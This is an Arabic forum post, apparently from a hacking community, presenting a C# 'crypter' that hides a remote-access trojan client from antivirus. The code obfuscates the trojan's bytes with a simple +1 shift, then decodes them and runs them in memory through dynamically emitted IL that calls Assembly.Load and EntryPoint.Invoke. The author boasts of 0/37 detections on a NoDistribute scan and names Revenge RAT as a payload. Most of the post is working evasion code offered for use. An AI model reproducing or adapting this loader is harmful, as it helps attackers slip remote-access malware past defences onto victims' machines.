04.02.2018 BasharBachirAlgorithm v.02


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
2,620
3,576
1
حياكم الله ياشباب
نزلت موضوعي اول العام الحالي هنا "على فكرة لساته كلين"
موضوع السنة - BasharBachirAlgorithm كلين لمدة طويلة جدا 0/65
وكنا معتمدين على فانكشن لجمع كل بايت من البايت الاراي الاول مع كل بايت من البايت اراي الثاني
ونفس الفانكشن نقوم من خلالها بطرح البايتات ايضا
الان ماعاد فيه فانكشن ولاشي ..بالاضافة للافكار اللي بيحملها الاصدار الجديد
اول شي منجيب بايتات الكلاينت عن طريق الفانكشن الشهيرة
اللي بستخدمها باغلب مواضيعي "كل مرة منغير فيها شي كنا " :biggrin:
بناء سترينج مع حلقة فور ايتش :19:
C#:
static string Pbb(byte[] bytes)
    {
    var sb = new StringBuilder();
 
        foreach (var b in bytes)
    {
        sb.Append($"{b},");
    }
    return sb.ToString();
}
ومن ثم نضع البايتات في مصفوفة انتجر
C#:
int[] en = { 77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0};
ومن ثم نقوم بزيادة او انقاص كل عنصر من عناصر المصفوفة
بمقدار 1 او اي رقم ببالك انا قمت بزيادة 1 على كل عنصر
او فينك تعمل عمليات ثانية :215:
C#:
var a = String.Empty;
foreach (var e in en)
            {
a += Convert.ToInt32(e + 1) + ",";
            }
نقوم بكتابة الناتج على اي مستند نصي
ومن ثم نضعه بمصفوفة انتجر اراي ضع العناصر مكان العناصر القديمة
C#:
int[] en = {78,91,145,1,4,1,1,1,5,1,1,1,256,256};
لاحظتم شي .؟ نعم الـ77 صارت 78 والـ 0 صار 1 ..الخ :domenal.csom_38:
الان منعكس العملناه نقوم بانقاص واحد من كل عنصر من عناصر المصفوفة
C#:
var a = String.Empty;
foreach (var e in en)
            {
  a += Convert.ToInt32(e - 1) + " ";
            }
طبعا وضعت فراغ بين كل عنصر والاخر وحفظتهم ب متغير من نوع سترينج
سبب الفراغ انو انا بدي احول من سترينج الى مصفوفة سترينج عن طريق Split
ومن ثم عن طريق موضوع الاخ لؤي Mr.Loai او موضوعي هنا
طريقة تخطي النود دئما بدون اشعار بتهديد بالذاكرة "حتى لو كان الناتج يظهر تهديد بالذاكرة او حتى مكشوف سكان تايم"
نقوم بتحويل السترينج اراي الى بايت اراي ونقوم بتشغيله بنقطة ادخال
انا اتبعت موضوع الاخ لؤي فقط عدلت تعديلات بسيطة جدا بدل typeof وضعت Type.GetType
مش شي مهم بس انا مابحب التايب يظهر بشكل واضح بالسورس ..
C#:
var ba = Array.ConvertAll(a.Remove(a.Length - 1).Split(' '), int.Parse);
         var tb = AppDomain.CurrentDomain.DefineDynamicAssembly(new AssemblyName("Bashar"), AssemblyBuilderAccess.Run)
             .DefineDynamicModule("Bashar").DefineType("Bachir", TypeAttributes.Public);
         var gen = tb.DefineMethod("Main", MethodAttributes.Public, null, null).GetILGenerator();
         gen.Emit(OpCodes.Ldc_I4, ba.Length);
         gen.Emit(OpCodes.Newarr, typeof(byte));
         gen.Emit(OpCodes.Stloc, 0);
         for (var i = 0; i < ba.Length; i++)
         {
             gen.Emit(OpCodes.Ldloc, 0);
             gen.Emit(OpCodes.Ldc_I4, i);
             gen.Emit(OpCodes.Ldc_I4, Convert.ToInt32(ba[i].ToString()));
             gen.Emit(OpCodes.Stelem_I1);
         }
         gen.Emit(OpCodes.Ldloc, gen.DeclareLocal(typeof(byte[])));
         gen.Emit(OpCodes.Call, Type.GetType("System.Reflection.Assembly")?.GetMethod("Load", new[] { typeof(byte[]) })
                                ?? throw new InvalidOperationException());
         gen.Emit(OpCodes.Callvirt, Type.GetType("System.Reflection.Assembly")?.GetProperty("EntryPoint")?.GetGetMethod()
                                    ?? throw new InvalidOperationException());
         gen.Emit(OpCodes.Ldnull);
         gen.Emit(OpCodes.Ldnull);
         gen.Emit(OpCodes.Callvirt, Type.GetType("System.Reflection.MethodBase")?.GetMethod("Invoke", new[] { typeof(object), typeof(object[]) })
                                    ?? throw new InvalidOperationException());
         gen.Emit(OpCodes.Pop);
         gen.Emit(OpCodes.Ret);
         tb.CreateType().GetMethod("Main")?.Invoke(Activator.CreateInstance(tb.CreateType()), null);
ملاحظة لو وضعت بايتات كلاينت مثلا الريفينج رات بالسورس
ولو كانو ك انتجر اراي رح يكون مكشوف السورس من الكثير من الحمايات
الان ناتج الفحص كلين من الكل
WindowsFormsApp92.exe | 0/37 | NoDistribute
الفديو بالمرفقات
 

المرفقات

إخلاء مسؤلية

  • المنتدى غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به protection-tips غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به من بيع وشراء وإتفاق وأعطاء معلومات موقعه التعليقات المنشورة لا تعبر عن رأي معهد المنتدى ولا نتحمل أي مسؤولية قانونية حيال ذلك (ويتحمل كاتبها مسؤولية النشر).).

الإنتقال السريع

User Menu

تابعنا على الفيسبوك